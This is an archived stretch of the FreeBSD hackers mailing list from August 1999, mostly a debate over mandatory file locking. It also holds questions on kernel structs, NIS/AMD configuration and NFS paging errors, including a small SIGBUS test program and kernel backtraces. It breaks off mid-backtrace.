Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Chuck Robey wrote: > > On Mon, 23 Aug 1999, Christopher Masto wrote: > > > Bleah.. I can't count the number of times I've seen idiotic code like: > > > > open file > > read data > > close file > > open file for write > > write data > > close file > > > > Mandatory locking of the type above doesn't force such a thing to work. > > What has that code you show above got to do with mandatory locking? > You completely missed the explicit locking calls that you have to make, > to get and release the locks. If you don't make the call, and you have > madatory locking, then your process will sleep until someone else > releases the lock; if you only have advisory locking, and you use the > miscreant code you show, then indeed things will go awry. You missed the point. Insert the appropriate locking&unlocking at each open/close operation. See? :-) -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org - Come on. - Where are we going? - To get what you came for. - What's that? - Me. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 10: 5:34 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 09AAC15AD1 for ; Tue, 24 Aug 1999 09:59:34 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com by peach.ocn.ne.jp (8.9.1a/OCN) id XAA21207; Tue, 24 Aug 1999 23:51:55 +0900 (JST) Message-ID: <37C2B148.60FB81FA@newsguy.com> Date: Tue, 24 Aug 1999 23:50:48 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.6 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Christopher Masto Cc: FreeBSD Hackers Subject: Re: Mandatory locking? References: <19990823231130.A16133@netmonger.net> <19990823232726.B16133@netmonger.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Christopher Masto wrote: > > Exactly. You said that mandatory locking means that user A's correct > use of locking means that user B doesn't have to be careful. That's > not the case, since A can step in between B's read and write. A's > mandatory lock doesn't help. > > I don't see the use for it. :-) The thing is SO obviously flawed, that I wonder how many marketoid drones it took to make sensible people think it is actually useful. :-) -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org - Come on. - Where are we going? - To get what you came for. - What's that? - Me. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 10: 5:40 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id 9E06414F01; Tue, 24 Aug 1999 09:59:34 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com by peach.ocn.ne.jp (8.9.1a/OCN) id XAA15900; Tue, 24 Aug 1999 23:28:44 +0900 (JST) Message-ID: <37C2ABE4.B2C12DA4@newsguy.com> Date: Tue, 24 Aug 1999 23:27:48 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.6 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: Garance A Drosihn Cc: Greg Lehey , Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? References: <19990823162813.I83273@freebie.lemis.com> <7569.935394460@critter.freebsd.dk> <19990823174345.J83273@freebie.lemis.com> <37C174F5.2D8AEEB1@newsguy.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Garance A Drosihn wrote: > > There's a difference between a program which has a locking-oversight > or race-condition, and a program you write to deliberately destroy > data. Yep. Intention. But that's all. > The thing about well-intentioned but incorrect locking code is that > it will appear to work fine, until it trips over the one code path > where it forgets to lock some file that it should have locked. And > even then, the code will "work" just fine, until multiple processes > are accessing that file at the same time. A well-intentioned but incorrect mandatory locking can result in data inconsistency because it is not using locking correctly, and thus introducing race conditions, and can also result in dead-locks. It's really quite simple. If the algorithm is correct, both advisory and mandatory locking will work. If the algorithm is not correct, neither will. What mandatory locking provides is a way to lock out anyone who doesn't use locking. The only two situations I can think of for this are incorrect algorithms and intentional behavior. In the first case, you still gain nothing, because mandatory locking is not protecting you from incorrect algorithms, only from those with an error as huge as not using locking at all. In the second case, mandatory locking is useless, as I previously demonstrated. Now, if you know any other situation where mandatory locking results in a different behavior from advisory locking, please feel free to enlighten me. > I think it is appropriate for an operating system to provide an option > such that *it* (the system) will enforce the locking, and not have to > trust that all code-paths in all programs will do the right thing > WRT advisory locking. Actually, I have nothing against having it as an option, as long as root can override it. It opens a pandora box for denial of service attacks, but as long as I, the system manager, can completely disable it (by inaction, preferably), I don't mind. > (I also think the implementation needs to be thought out carefully, to > make sure it doesn't become a way for a malicious user to implement > denial-of-service attacks...) Wanna make a bet that if we introduce this feature today we'll still be closing security holes by 2005? -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org - Come on. - Where are we going? - To get what you came for. - What's that? - Me. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 10: 5:55 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from root.moose.ca (cpu1042.adsl.bellglobal.com [207.236.110.23]) by hub.freebsd.org (Postfix) with ESMTP id 7247115A9A for ; Tue, 24 Aug 1999 10:04:20 -0700 (PDT) (envelope-from dseg@root.moose.ca) Received: from localhost (dseg@localhost) by root.moose.ca (8.9.3/8.9.3) with SMTP id MAA03727 for ; Tue, 24 Aug 1999 12:59:49 -0400 Date: Tue, 24 Aug 1999 12:59:49 -0400 (EDT) From: Dan Seguin X-Sender: dseg@root To: hackers@freebsd.org Subject: Struct user Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Can somebody tell me where to find the defintion for struct user that's contained in struct proc? I've grep'ed to no avail. Thanks. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 10:20:53 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.theinternet.com.au (zeus.theinternet.com.au [203.34.176.2]) by hub.freebsd.org (Postfix) with ESMTP id E71AD15D34; Tue, 24 Aug 1999 10:17:20 -0700 (PDT) (envelope-from akm@mail.theinternet.com.au) Received: (from akm@localhost) by mail.theinternet.com.au (8.9.3/8.9.3) id DAA68570; Wed, 25 Aug 1999 03:12:55 +1000 (EST) (envelope-from akm) From: Andrew Kenneth Milton Message-Id: <199908241712.DAA68570@mail.theinternet.com.au> Subject: Re: Mandatory locking? In-Reply-To: <19990824111703.B10650@netmonger.net> from Christopher Masto at "Aug 24, 1999 11:17: 3 am" To: chris@netmonger.net (Christopher Masto) Date: Wed, 25 Aug 1999 03:12:55 +1000 (EST) Cc: wes@softweyr.com, grog@lemis.com, chuckr@picnic.mat.net, drosih@rpi.edu, dcs@newsguy.com, phk@critter.freebsd.dk, dillon@apollo.backplane.com, hackers@FreeBSD.ORG, cvs-committers@FreeBSD.ORG, wollman@khavrinen.lcs.mit.edu X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG +----[ Christopher Masto ]--------------------------------------------- | | that no other processes are using it." How do you know someone | hasn't, say, opened it in an editor, made some changes, and is about | to save? File Permissions, it's a pretty fundamental UNIX philosophy. How do you know someone hasn't opened your kernel in an editor, made some changes and is about to save? It's not about stopping random users doing random actions to files. It's about (almost) transparently enabling processes to cooperate using a shared resource. Think of it as a mutex on a part/whole file. Mandatory locking enables a process to ensure that its transaction is safe from interference. Interference that can come from a correctly running program writing at the wrong time (but not using the locks -- maybe you don't have source for it either). What happens if root-owned process X has gone off the deep-end and is randomly writing crap into every file on your filesystem? Well you're hosed anyway. -- Totally Holistic Enterprises Internet| P:+61 7 3870 0066 | Andrew The Internet (Aust) Pty Ltd | F:+61 7 3870 4477 | Milton ACN: 082 081 472 | M:+61 416 022 411 |72 Col .Sig PO Box 837 Indooroopilly QLD 4068 |akm@theinternet.com.au|Specialist To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 10:44:24 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id 9B76C14C29 for ; Tue, 24 Aug 1999 10:44:17 -0700 (PDT) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.02 #1) id 11JKbI-000LvP-00; Tue, 24 Aug 1999 19:43:12 +0200 From: Sheldon Hearn To: Dan Seguin Cc: hackers@freebsd.org Subject: Re: Struct user In-reply-to: Your message of "Tue, 24 Aug 1999 12:59:49 -0400." Date: Tue, 24 Aug 1999 19:43:12 +0200 Message-ID: <84282.935516592@axl.noc.iafrica.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 24 Aug 1999 12:59:49 -0400, Dan Seguin wrote: > Can somebody tell me where to find the defintion for struct user that's > contained in struct proc? This is trick question, yes? sys/proc.h struct proc sys/user.h struct user :-) Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 10:45: 3 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from console.prisa.com (gatekeeper.prisa.com [204.94.67.66]) by hub.freebsd.org (Postfix) with SMTP id CF6CE151DE; Tue, 24 Aug 1999 10:44:50 -0700 (PDT) (envelope-from nschein@prisa.com) Received: from nschein (nschein.prisa.com [172.16.129.137]) by console.prisa.com (8.6.12/8.6.12) with SMTP id LAA17902; Tue, 24 Aug 1999 11:21:42 -0700 From: "Nathaniel Schein" To: "Owner-Freebsd-Questions" , "Freebsd-Hackers" Subject: NIS and AMD Date: Tue, 24 Aug 1999 10:48:48 -0700 Message-ID: <001401beee58$eb715b40$898110ac@nschein.prisa.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Importance: Normal Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have been trying to integrate AMD and NIS. I have included the appropriate maps and a `ypcat -k amd.home` shows a good amd map. The problem is that AMD and the NIS client have become mutually exclusive for me. If I enable both in the 'rc.conf' file the boot up proceedure will hang after displaying 'amd'. But if I comment out the NIS invocation or the AMD invocation in the 'rc.conf' file it boots without a problem. The 'rc.conf' lines are as follows: nis_client_enable="YES" nisdomainname="prisa.com" nis_yppasswdd_enable="YES" amd_enable="YES" amd_flags="-k i386 -y prisa.com -d prisa.com -l syslog:amd /home amd.home /share amd.share" How do I get AMD to use NIS maps? If anyone has any ideas the help would be much appreciated. Nathaniel Schein nschein@prisa.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 10:50:31 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from root.moose.ca (cpu1042.adsl.bellglobal.com [207.236.110.23]) by hub.freebsd.org (Postfix) with ESMTP id 2854314D4C for ; Tue, 24 Aug 1999 10:50:26 -0700 (PDT) (envelope-from dseg@root.moose.ca) Received: from localhost (dseg@localhost) by root.moose.ca (8.9.3/8.9.3) with SMTP id NAA03901; Tue, 24 Aug 1999 13:46:30 -0400 Date: Tue, 24 Aug 1999 13:46:29 -0400 (EDT) From: Orignal X-Sender: dseg@root To: Sheldon Hearn Cc: hackers@freebsd.org Subject: Re: Struct user In-Reply-To: <84282.935516592@axl.noc.iafrica.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Oh, DUH! Thanks! On Tue, 24 Aug 1999, Sheldon Hearn wrote: > > > On Tue, 24 Aug 1999 12:59:49 -0400, Dan Seguin wrote: > > > Can somebody tell me where to find the defintion for struct user that's > > contained in struct proc? > > This is trick question, yes? > > sys/proc.h struct proc > sys/user.h struct user > > :-) > > Ciao, > Sheldon. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 10:53:52 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail1.its.rpi.edu (mail1.its.rpi.edu [128.113.100.7]) by hub.freebsd.org (Postfix) with ESMTP id EFDBD14D4C; Tue, 24 Aug 1999 10:53:44 -0700 (PDT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail1.its.rpi.edu (8.9.3/8.9.3) with ESMTP id NAA06584; Tue, 24 Aug 1999 13:51:46 -0400 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: <19990823232726.B16133@netmonger.net> References: <19990823231130.A16133@netmonger.net> <19990823232726.B16133@netmonger.net> Date: Tue, 24 Aug 1999 13:52:12 -0400 To: Christopher Masto , Chuck Robey From: Garance A Drosihn Subject: Re: Mandatory locking? Cc: "Daniel C. Sobral" , Greg Lehey , Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 11:27 PM -0400 8/23/99, Christopher Masto wrote: >On Mon, Aug 23, 1999 at 11:16:21PM -0400, Chuck Robey wrote: > > What has that code you show above got to do with mandatory locking? > > You completely missed the explicit locking calls that you have to make, > > to get and release the locks. If you don't make the call, and you have > > madatory locking, then your process will sleep until someone else > > releases the lock; > >Exactly. You said that mandatory locking means that user A's correct >use of locking means that user B doesn't have to be careful. That's >not the case, since A can step in between B's read and write. A's >mandatory lock doesn't help. > >I don't see the use for it. Then don't use it. There is one thing about this discussion that you seem to be missing. We are not talking about mandatory locking for *all* files. Only for files where mandatory locking is explicitly requested. If you don't have a use for mandatory locking, then do not go out of your way to turn it on for the files you are using. We are just saying that if some developer does want to use mandatory locking, it would be nice if FreeBSD provided that as an option. And as an option which doesn't require writing special daemons and other tricks just to make sure that programs have to lock the file. Not sure if you were at RPI in the days of MTS, but mandatory locking certainly does come in handy in some cases. --- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or drosih@rpi.edu Rensselaer Polytechnic Institute To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 11: 4:50 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from pau-amma.whistle.com (pau-amma.whistle.com [207.76.205.64]) by hub.freebsd.org (Postfix) with ESMTP id 22DAE15124; Tue, 24 Aug 1999 11:04:36 -0700 (PDT) (envelope-from dhw@whistle.com) Received: (from dhw@localhost) by pau-amma.whistle.com (8.9.2/8.9.2) id LAA02711; Tue, 24 Aug 1999 11:02:50 -0700 (PDT) Date: Tue, 24 Aug 1999 11:02:50 -0700 (PDT) From: David Wolfskill Message-Id: <199908241802.LAA02711@pau-amma.whistle.com> To: freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG, nschein@prisa.com Subject: Re: NIS and AMD In-Reply-To: <001401beee58$eb715b40$898110ac@nschein.prisa.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >From: "Nathaniel Schein" >Date: Tue, 24 Aug 1999 10:48:48 -0700 >I have been trying to integrate AMD and NIS. I have included the appropriate >maps and a `ypcat -k amd.home` shows a good amd map. The problem is that AMD >and the NIS client have become mutually exclusive for me. If I enable both >in the 'rc.conf' file the boot up proceedure will hang after displaying >'amd'. But if I comment out the NIS invocation or the AMD invocation in the >'rc.conf' file it boots without a problem. The 'rc.conf' lines are as >follows: >nis_client_enable="YES" >nisdomainname="prisa.com" >nis_yppasswdd_enable="YES" >amd_enable="YES" >amd_flags="-k i386 -y prisa.com -d prisa.com -l syslog:amd /home amd.home >/share amd.share" >How do I get AMD to use NIS maps? >If anyone has any ideas the help would be much appreciated. OK.... I do this, with reasonable success. On a NIS client, here are relevant rc.conf.local entries (3.2-R): nisdomainname="nis.whistle.com" nis_client_enable="YES" amd_enable="YES" amd_flags="-nr -k i386 -l syslog -x all" amd_map_program="ypcat -k amd.master" On the NIS master, I also turn on nis_server_enable & nis_ypxfrd_enable. The (NIS) map "amd.master" contains the mountpoint/map pairs to use for amd. Cheers, david -- David Wolfskill dhw@whistle.com UNIX System Administrator voice: (650) 577-7158 pager: (888) 347-0197 FAX: (650) 372-5915 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 11:21:29 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from labinfo.iet.unipi.it (labinfo.iet.unipi.it [131.114.9.5]) by hub.freebsd.org (Postfix) with SMTP id 652C214A2F for ; Tue, 24 Aug 1999 11:21:20 -0700 (PDT) (envelope-from luigi@labinfo.iet.unipi.it) Received: from localhost (luigi@localhost) by labinfo.iet.unipi.it (8.6.5/8.6.5) id QAA19160; Tue, 24 Aug 1999 16:47:03 +0200 From: Luigi Rizzo Message-Id: <199908241447.QAA19160@labinfo.iet.unipi.it> Subject: Re: mbufs eaten up - when pinging To: kuku@gilberto.physik.RWTH-Aachen.DE (Christoph Kukulies) Date: Tue, 24 Aug 1999 16:47:03 +0200 (MET DST) Cc: hackers@FreeBSD.ORG In-Reply-To: <199908241554.RAA52254@gil.physik.rwth-aachen.de> from "Christoph Kukulies" at Aug 24, 99 05:53:59 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 342 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > With a non-functioning route over isdn (i4b) I'm observing > that mbufs allocated soon reach the limit and then I'm getting > 'no buffer space' available. I'm not sure whether 'no buffer space' often comes when the output IFQ is full, which is between 20 and 50 buffers. Are you sure you are seeing more than those mbufs in use ? luigi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 11:34:44 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail1.its.rpi.edu (mail1.its.rpi.edu [128.113.100.7]) by hub.freebsd.org (Postfix) with ESMTP id 2986614EA4; Tue, 24 Aug 1999 11:34:39 -0700 (PDT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail1.its.rpi.edu (8.9.3/8.9.3) with ESMTP id OAA50540; Tue, 24 Aug 1999 14:31:19 -0400 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: <19990824111703.B10650@netmonger.net> References: <19990823223645.A14001@netmonger.net> <19990823231130.A16133@netmonger.net> <19990824125210.A83273@freebie.lemis.com> <19990823233434.C16133@netmonger.net> <37C2ADAD.B1F19098@softweyr.com> <19990824111703.B10650@netmonger.net> Date: Tue, 24 Aug 1999 14:31:45 -0400 To: Christopher Masto , Wes Peters From: Garance A Drosihn Subject: Re: Mandatory locking? Cc: Greg Lehey , Chuck Robey , "Daniel C. Sobral" , Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 11:17 AM -0400 8/24/99, Christopher Masto wrote: >I'm sure there are situations where mandatory locking accomplishes >something useful. Are they worth it? (I don't claim to know; if >the problems I thought I pointed out don't really exist, good.) > >More seriously than just being a "useless" feature, I am concerned >about the possibility of opening up security holes with mandatory >locking. BSD Unix does not currently have it.. if I understand >correctly, the kind of locking we're talking about means that if I can >get another user to read a file I own, I can make them block >indefinately. Maybe I can't do anything bad with that.. maybe I can >"only" cause a denial of service.. or maybe I can make a new race >condition in a periodic script. I am also concerned about the implementation, and about the opening of denial-of-service attacks. How about we start talking about some possible implementations, and see which ones will work the best? Your position seems to be "it is possible that a bad implementation of this might cause some security issues -- and therefore let's not do it at all, even if it might be useful". My position is that "It is useful, and demonstrated as useful on many OS's, so let us sit down and figure out a good implementation". --- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or drosih@rpi.edu Rensselaer Polytechnic Institute To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 11:43:49 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from cheddar.netmonger.net (cheddar.netmonger.net [209.54.21.140]) by hub.freebsd.org (Postfix) with ESMTP id 8399815133; Tue, 24 Aug 1999 11:43:41 -0700 (PDT) (envelope-from chris@cheddar.netmonger.net) Received: (from chris@localhost) by cheddar.netmonger.net (8.8.8/8.8.8) id OAA26087; Tue, 24 Aug 1999 14:39:53 -0400 (EDT) Message-ID: <19990824143953.A19375@netmonger.net> Date: Tue, 24 Aug 1999 14:39:53 -0400 From: Christopher Masto To: Chuck Robey Cc: Wes Peters , Greg Lehey , Garance A Drosihn , "Daniel C. Sobral" , Poul-Henning Kamp , Matthew Dillon , FreeBSD Hackers , FreeBSD Committers , Garrett Wollman Subject: Re: Mandatory locking? References: <19990824111703.B10650@netmonger.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.91.1i In-Reply-To: ; from Chuck Robey on Tue, Aug 24, 1999 at 11:33:33AM -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Aug 24, 1999 at 11:33:33AM -0400, Chuck Robey wrote: > > Yes, it's WRONG code. Correct code would aquire a lock before > > reading. > > My understanding of "mandatory locking" means that a program that > completely ignores any locking at all, if it tries to grab the locked > resource, will sleep until the resource is unlocked. This means that > the program is mandatorily forced to obey other program's lock requests. > It does not force that program to do it's own locks, but it forces it to > respect others. Is that the kind of mandatory locking we're talking > about? > > The rogue program, which doesn't do locking, can have it''s data > corrupted, but it cannot corrupt the data for a correctly written > program's transaction. I'm going to keep out of this thread from now on, but I want to answer this first. The "correctly written program" may aquire the lock and perform its transaction between the time the "rogue program" has read data and the time it is going to write that data back. In this case, mandatory locking only means that the rogue stalls in the middle, but it's still working with incorrect data. I don't think there's any way to update a file properly other than to aquire a lock before reading and to hold it until after writing. If the process with the mandatory locking is the only process that ever writes to the file, it may be OK. That seems a somewhat narrow use for the thing. I'm going to defer any futher comment until I see an implementation. It seems, as I said before, that it's not even clear to those participating in this discussion exactly what the definition of "mandatory locking" is intended to be. I never got to use MTS, but Garance seems to be saying that certain files could be flagged (perhaps this was the default) such that you can't access them at all if you don't aquire a lock. Others are implying that a "non-compliant" program only blocks if there is a lock on the file. As for "if you don't like it, don't enable it".. that's only an option if nothing appears that depends on it. -- Christopher Masto Senior Network Monkey NetMonger Communications chris@netmonger.net info@netmonger.net http://www.netmonger.net Free yourself, free your machine, free the daemon -- http://www.freebsd.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 11:51:57 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from golden.argonet.co.uk (golden.argonet.co.uk [194.131.104.13]) by hub.freebsd.org (Postfix) with SMTP id E8BA915A94 for ; Tue, 24 Aug 1999 11:50:49 -0700 (PDT) (envelope-from carson@causality.com) Received: from localhost [127.0.0.1] by golden.argonet.co.uk with smtp (Exim 1.82 #3) id 11JLd0-0006Qz-00; Tue, 24 Aug 1999 19:49:03 +0100 Date: Tue, 24 Aug 1999 19:49:02 +0100 (BST) From: "Neil A. Carson" X-Sender: carson@fm3.facility.pipex.com Reply-To: "Neil A. Carson" To: Manuel Bouyer Cc: Wolfgang Solfrank , freebsd-hackers@FreeBSD.ORG, tech-userlevel@netbsd.org, tech-kern@netbsd.org Subject: Re: Need some advice regarding portable user IDs In-Reply-To: <19990824150652.A4107@antioche.lip6.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ext2fs in Linux already has some support for mount downgrading or forcable unomunting (maybe) in the case of an FS error. For something like a floppy, it ought to be possible to force-unmount the disc in the event of a metadata error. Neil To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Tue Aug 24 11:56:45 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id 3F84A14C81 for ; Tue, 24 Aug 1999 11:56:37 -0700 (PDT) (envelope-from dwmalone@maths.tcd.ie) Received: from walton.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 24 Aug 1999 19:55:02 +0100 (BST) To: Matthew Dillon Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: vm_fault: pager read error on NFS filesystems. In-reply-to: Your message of "Tue, 24 Aug 1999 09:58:08 PDT." <199908241658.JAA17289@apollo.backplane.com> X-Request-Do: Date: Tue, 24 Aug 1999 19:55:01 +0100 From: David Malone Message-ID: <199908241955.aa23162@salmon.maths.tcd.ie> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > : 1) Stop vm_fault logging so much stuff. > : 2) Change sendsig to check if catching SIGBUS of SIGSEGV > : will cause a SIGBUS or SIGSEGV. If it will send the process > : a SIGKILL. > > Well, we can't do #2 - that would make us incompatible with > the API. I don't see how 2 could make break the API - all a process in this state can do is spin trying to serve SIGBUSs. I think HPUX may KILL processes in this state. Yep, on HPUX 10.10 when I run my test program (included at the bottom of this mail) I get: Pid 2717 was killed due to failure in writing the signal context. Solaris 2.6 gives a bus error. AIX and Digital Unix have the same behavior as FreeBSD. Linux either does what FreeBSD does or core dumps depending on the address of the SIGBUS handler I give it. I'd like to see what NTs POSIX subsystem does... BTW - don't run the test program on a -CURRENT machine unless you've recompiled the kernel today. There was a bug which alowd processes to catch SIGKILL, and it results in the process being unkillable. > It would be fairly easy to add a sysctl to control VM > related logging. The sysctl would default to 1. Sounds like it would be a step in the right direction. Someone pointed out to me that NFS will sometimes send a SIGKILL if it notices the executable has changed - maybe we need a more complete implimentation of this? > panics on the client or server? If you run a kernel with DDB We have a dump from a 3.2 machine which died tring to core dump a executable which I'd truncated over NFS (client). I'll include a back trace for that too. The program had a global array 4MB of ints. It first sleeps, then I truncated the executable on the NFS server and then it tries to write to the whole array of ints - the client went *BOOM* straight away. > init should definitely not stop reaping zombies. If the You betcha - the two machines effected became unusable fairly quickly 'cos of per user process limits once init broke. Init got stuck in vmopar while doing a wait on a 3.2-STABLE machine. We haven't managed to do this reproduceably, but the first stuck zombie was a process which had suffered from the "vm_fault: pager read error" problem which someone had kill -9'ed. We do have a trace from a 4.0 machine with a normal process stuck in vmopar. I've tacked that on the bottom too. The problems may be similar. I don't understand why waiting on a zombie would require the text of the program at all - but I haven't looked at the code so. > init binary itself runs over NFS and you have updated it, > you have no choice but to reboot. The init binary was run locally. If you want to get access to a kernel and either of these vmcores I can arange it. David. ========================================================================== Test program for looping SIGBUS #include #include #include int main(int argc,char **argv) { int i; struct sigaction action, oa; action.sa_handler = (void *)0xffffffff; sigemptyset(&action.sa_mask); action.sa_flags = 0; for( i = 0; i < 32; i++ ) if( sigaction(i,&action,&oa) != 0 ) perror(""); else printf("%d %x\n", i, oa.sa_flags); *((int *)NULL) = 0; exit(0); } ========================================================================== 3.2-STABLE machine panicing on truncated NFS executable #29 0xc014fc9d in panic ( fmt=0xc0239a4c "vm_page_unwire: invalid wire count: %d\n") at ../../kern/kern_shutdown.c:446 #30 0xc01ead6f in vm_page_unwire (m=0xc05d165c, activate=0) at ../../vm/vm_page.c:1328 #31 0xc016dc3e in vfs_vmio_release (bp=0xc377aaa8) at ../../kern/vfs_bio.c:828 #32 0xc016e18b in getnewbuf (vp=0xc761b280, blkno=409, slpflag=256, slptimeo=0, size=8192, maxsize=8192) at ../../kern/vfs_bio.c:1107 #33 0xc016e9c8 in getblk (vp=0xc761b280, blkno=409, size=8192, slpflag=256, slptimeo=0) at ../../kern/vfs_bio.c:1511 #34 0xc0195a61 in nfs_getcacheblk (vp=0xc761b280, bn=409, size=8192, p=0xc75574a0) at ../../nfs/nfs_bio.c:905 #35 0xc0195627 in nfs_write (ap=0xc76c9df0) at ../../nfs/nfs_bio.c:770 #36 0xc017a1c9 in vn_rdwr (rw=UIO_WRITE, vp=0xc761b280, base=0x8049000 "\177ELF\001\001\001", len=4194304, offset=4096, 